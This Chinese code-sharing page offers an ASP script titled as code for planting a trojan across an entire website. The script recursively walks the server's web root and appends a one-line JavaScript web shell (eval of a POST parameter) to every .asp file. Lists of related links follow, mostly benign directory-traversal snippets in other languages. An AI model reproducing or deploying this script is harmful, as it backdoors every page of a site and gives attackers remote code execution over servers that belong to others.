FSO遍历目录实现全站插马的代码
<%
dim ph
dim intfile
server.ScriptTimeout = 600
ph=server.mappath("/")
Sub InsertAllFiles(Path)
Set FSO = CreateObject("Scripting.FileSystemObject")
on error resume next
Set f = FSO.GetFolder(Path)
Set fc2 = f.files
For Each myfile in fc2
If lcase(FSO.GetExtensionName(path&""&myfile.name))="asp" then
Set FS1 = CreateObject("Scripting.FileSystemObject")
Set tfile=FS1.opentextfile(path&""&myfile.name,8,false)
tfile.writeline "<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>eval(Request.form('H4x0r')+'')</SCRIPT>"
else
InsertAllFiles(newpath)
end if
tfile.close
Next
Set fsubfolers = f.SubFolders
For Each f1 in fsubfolers
newpath=path&""&f1.name
InsertAllFiles(newpath)
Next
set tfile=nothing
Set FSO = Nothing
End Sub
%>
<%
call InsertAllFiles(ph)
%>
相关推荐
-
FSO遍历目录实现全站插马的代码
<% dim ph dim intfile server.ScriptTimeout = 600 ph=server.mappath("/") Sub InsertAllFiles(Path) Set FSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = FSO.GetFolder(Path) Set fc2 = f.files For Each myfi
-
ASP,FSO遍历目录及目录下文件
<%@ Language=VBScript %> <% '我写的一个遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders
-
CMD下一个命令遍历目录并删除相同文件的代码
如果不小心安装了些制造垃圾的小工具,在系统中各个盘符下都产生了相同的垃圾文件,如我系统中就曾经有被产生了无数的desktop_1.ini 和 desktop_2.ini,当时首先想到的解决办法就是把所有的文件用windows的搜索工具找到,再一并删除,这种方法固然可以解决,但搜索的时候别忘了勾选搜索隐藏文件和隐藏文件夹,不然你是搜索不到恶意制造的垃圾文件的. 这里给出另一种简单办法,只要一个命令,也可达到同样的效果. 它遍历当前盘符并自动删除找到的文件. 命令格式: 复制代码 代码如下: I:\
-
asp遍历目录及子目录的函数
<%@ Language=vbscript %> <% '遍历目录以及目录下文件的函数 %> <% Function Bianli(path) Set Fso=server.createobject("scripting.filesystemobject") On Error Resume Next Set Objfolder=fso.getfolder(path) Set Objsubfolders=objfolder
-
遍历目录以及目录下文件的函数
<%@ Language=VBScript %> <% '遍历目录以及目录下文件的函数, %> <% function bianli(path) set fso=server.CreateObject("scripting.filesystemobject") on error resume next set objFolder=fso.GetFolder(path) set objSubFolders=objFolder.Subfolders for e
-
GO语言实现列出目录和遍历目录的方法
本文实例讲述了GO语言实现列出目录和遍历目录的方法.分享给大家供大家参考.具体如下: GO语言获取目录列表用 ioutil.ReadDir(),遍历目录用 filepath.Walk(),使用方法课参考本文示例. 具体示例代码如下: 复制代码 代码如下: package main import ( "fmt" "io/ioutil" "os" "path/filepath" "strings" )
-
Java文件操作之按行读取文件和遍历目录的方法
按行读取文件 package test; import java.io.*; import java.util.*; public class ReadTest { public static List<String> first_list; public static List<String> second_list; public ReadTest() { first_list = new LinkedList<>(); second_list = new Link
-
PHP遍历目录函数opendir()、readdir()、closedir()、rewinddir()总结
在进行PHP编程时,需要对服务器某个目录下面的文件进行浏览,通常成为遍历目录.取得一个目录下的文件和子目录,就需要用到opendir()函数.readdir()函数.closedir()函数和rewinddir()函数. ①函数opendir() 函数opendir()用于打开指定目录,接受一个目录的路径及目录名作为参数,函数返回值为可供其他目录函数使用的目录句柄(资源类型).如果该目录不存在或者没有访问权限,则返回FALSE. ②函数readdir() 函数readdir()用于读取指定目录,
-
PHP采用自定义函数实现遍历目录下所有文件的方法
目录的遍历是PHP程序设计中经常会用到的一个功能,很多PHP项目都有这一功能模块.今天本文就来实例解析一下PHP采用自定义函数实现遍历目录下所有文件的方法.具体方法如下: 方法一:使用readir()遍历目录 实现代码如下: function listDir($dir) { if(is_dir($dir)) { if($handle = opendir($dir)) { while($file = readdir($handle)) { if($file != '.' && $file !
-
PHP不用递归遍历目录下所有文件的代码
实现代码: /** * PHP 非递归实现查询该目录下所有文件 * @param unknown $dir * @return multitype:|multitype:string */ function scanfiles($dir) { if (! is_dir ( $dir )) return array (); // 兼容各操作系统 $dir = rtrim ( str_replace ( '\\', '/', $dir ), '/' ) . '/'; // 栈,默认值为传入的目录 $
随机推荐
- 两个强悍的php 图像处理类1
- 浅谈轻量级js模板引擎simplite
- 升级Windows XP五则技巧超值大放送
- 5种解决Java独占写文件的方法
- .NET中应用程序内共享UdpClient联机的实现方法
- js实现input密码框提示信息的方法(附html5实现方法)
- Asp.net Core 1.1 升级后操作mysql出错的解决办法
- C#中的除法运算符与VB.NET中的除法运算符
- js报$ is not a function 的问题的解决方法
- JS实现仿新浪黄色经典滑动门效果代码
- 当鼠标移动到图片上时跟随鼠标显示放大的图片效果
- Android自定义View实现仿1号店垂直滚动广告条代码
- Android编程简单获取网络上的图片
- Android 绘制多级树形选择列表实例代码
- 详解Spring Cloud Feign 熔断配置的一些小坑
- vsftpd用户禁止ssh登陆的实现方法
- Python编程实现使用线性回归预测数据
- 简单讲解sql语句中的group by的使用方法
- php的优点总结 php有哪些优点
- 浅谈xml配置spring profiles的几个注意点